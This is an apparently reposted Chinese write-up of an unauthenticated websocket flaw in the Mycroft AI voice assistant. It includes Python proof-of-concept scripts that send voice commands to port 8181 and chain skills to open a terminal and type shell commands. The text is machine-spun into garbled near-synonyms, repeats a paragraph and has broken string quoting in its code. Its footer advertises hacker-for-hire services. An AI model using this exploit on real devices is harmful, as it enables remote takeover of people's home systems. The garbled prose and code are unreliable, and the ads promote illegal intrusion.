智能语音使用Mycroft AI的长途代码履行缝隙剖析

访客5年前黑客工具1043

当我在Arch Linux社区开源软件包的开发奉献过程中,发现了一个很有意思的项目-麦考夫Mycroft AI,它是一款开源且根据人工智能(AI)的语音助理使用,在对它的研讨过程中,我发现了一个不必点击交互即可完成的长途代码履行缝隙(RCE)。
与业界有名的Amazon Echo和Google Home不同的是,Mycroft最早于2019年开端在海外网站建议众筹来批量生产其Mark-I 和 Mark-II 代产品,而3月份其Mark-II代产品上线4天后就被售罄脱销。Mycroft AI智能语音助理根据Linux Desktop/Server和Raspberry PI架构,现广泛用于智能自动化家居体系中,其新款使用将订制化使用于捷豹和路虎的某些车型中。
代码剖析
在对Mycroft AI的源代码剖析中,我发现了其间有意思的一个当地:
...
host = config.get("host")
port = config.get("port")
route = config.get("route")
validate_param(host, "websocket.host")
validate_param(port, "websocket.port")
validate_param(route, "websocket.route")
routes = [
        (route, WebsocketEventHandler)
]
application = web.Application(routes, **settings)
application.listen(port, host)
ioloop.IOLoop.instance().start()
...
在这里它界说了一个websocket服务端,用来接纳类似于Andriod长途客户端的指令,在mycroft.conf中给出了websocket服务端设置的详细界说:
// The mycroft-core messagebus' websocket
  "websocket": {
    "host": "0.0.0.0",
    "port": 8181,
    "route": "/core",
    "ssl": false
},
从以上代码可知,在0.0.0.0:8181/core上默许的websocket服务端居然无需任何身份验证,好吧,让咱们写个脚原本测验一下:
#!/usr/bin/env python
import asyncio
import websockets
uri = "ws://myserver:8181/core"
command = "say pwned"
async def sendPayload():
    async with websockets.connect(uri) as websocket:
      
 await websocket.send("{"data": {"utterances": [""+command+""]},
"type": "recognizer_loop:utterance", "context": null}")
asyncio.get_event_loop().run_until_complete(sendPayload())
很好,咱们能让Mycroft AI自己说 “pwned”,这样,咱们也能让Mycroft AI长途发声,但这也不算是什么大发现,最多也只能吓唬一下朋友罢了。
Mycroft AI 的技术体系
深化发掘之后,能够发现Mycroft内置了一个技术体系,能够在其基础上装置其它你想要的语音技术,听起来很好,不是吗?
那么,Mycroft的一种技术是由哪些元素组成的呢?从给出的阐明文档能够看到,Mycroft的技术元素如下:
dialog/en-us/command.dialog: 包含了能触发技术的语音指令
vocab/en-us/answer.voc: 包含了Mycroft发声的答案
requirements.txt:  包含了由 pip *** 装置的技术所需装置包
__int__.py:包含了技术的主函数和触发履行时的需求加载的指令
使用剖析
有了以上技术元素之后,我就能够创立一个歹意技术,当它被触发之后,就能够在长途Mycroft设备上来履行恣意代码了。但惋惜的是,这样的 *** 并不能经过语音指令来完成,除非其技术链接URL未被一些在线网站白名单化。这虽然有或许,但多少有些费事。

测验完成
有了以上技术元素之后,我就能够创立一个歹意技术,当它被触发之后,就能够在长途Mycroft设备上来履行恣意代码了。但惋惜的是,这样的 *** 并不能经过语音指令来完成,除非其技术链接URL是一些未被白名单化的在线网站。这虽然有或许,但履行起来多少有些费事。
Mycroft 内置了许多默许技术,如 open 这种能翻开其它第三方使用的,还有一些经过白名单化但未被装置在Mycroft设备上的技术。经过再次研讨,我发现了一个名为skill-autogui的风趣技术,它的主要功能是对鼠标键盘的操控,好吧,咱们就用它来试试!把一切以上可使用的发现组合成一个PoC:
#!/usr/bin/env python
import sys
import asyncio
import websockets
import time
cmds = ["mute audio"] + sys.argv[1:]
uri = "ws://myserver:8181/core"
async def sendPayload():
    for payload in cmds:
        async with websockets.connect(uri) as websocket:
          
 await websocket.send("{"data": {"utterances": [""+payload+""]},
"type": "recognizer_loop:utterance", "context": null}")
            time.sleep(1)
asyncio.get_event_loop().run_until_complete(sendPayload())
用 pwn.py “install autogui” “open xterm” “type echo pwned” “press enter” 指令运转exploit代码之后,就能在一台长途Mycroft设备的Linux体系上履行指令:

[1] [2]  黑客接单网

相关文章

国际顶级黑客接单网站是骗子吗_找黑客改学信网可靠吗

今日本篇文章首要从智能机器人怎么拨打打扰电话和怎么针对性的取得指定集体的手机号,并给出了一点维护手机号的主张,期望能够帮得上你。 wget https://sourceforge.net/proje...

端口转发流量控制东西总结

运用情形: 在 Web 安全浸透测验常常会面对的一个问题,一起也是 Web 服务器加固方面一个很重要的部分,那便是 Web 服务器对外只敞开一个 80 端口。Web 服务器的安全防护可所以操作系统的端...

Python Subprocess库在运用中或许存在的安全危险总结

在各大抢手言语排行榜中,Python言语屡次独占鳌头,其高效的开发功率和高雅的编程风格招引不少开发人员的喜爱,不少公司将技能栈切换至Python。跟着Python 言语的愈来愈盛行,其安全问题也益发遭...

骇客,找一个先办事后给钱的黑客,找黑客黑聊天记录反被威胁了

在一些办理界面的能够通过设置cookie值为文件体系上存在的文件即可绕过登录。 (英文渣,对着google翻译扣下来的英文)固件部分的中心是编写程序的源代码。 #Python poc.py useri...

黑客在哪里接单,找黑客接单,贝壳找房黑客马拉松

IHello rHello = (IHello) ctx.lookup("hello");试验东西: 我国菜刀 Pr 御剑 Pangolin 3389[1][2]黑客接单渠道前语:} 这才拿到了一台服...

在网上被骗了钱,有人叫我找黑客,说能把钱给找回

下图显示的是GCC会话初始化序列的信道请求信息,我们可以看到其中不涉及到任何关于MS_T120信道的信息。 微软官方建议,无论是否开启NLA,都应该尽快更新,彻底消除该漏洞的影响。 可能的攻击威力Wi...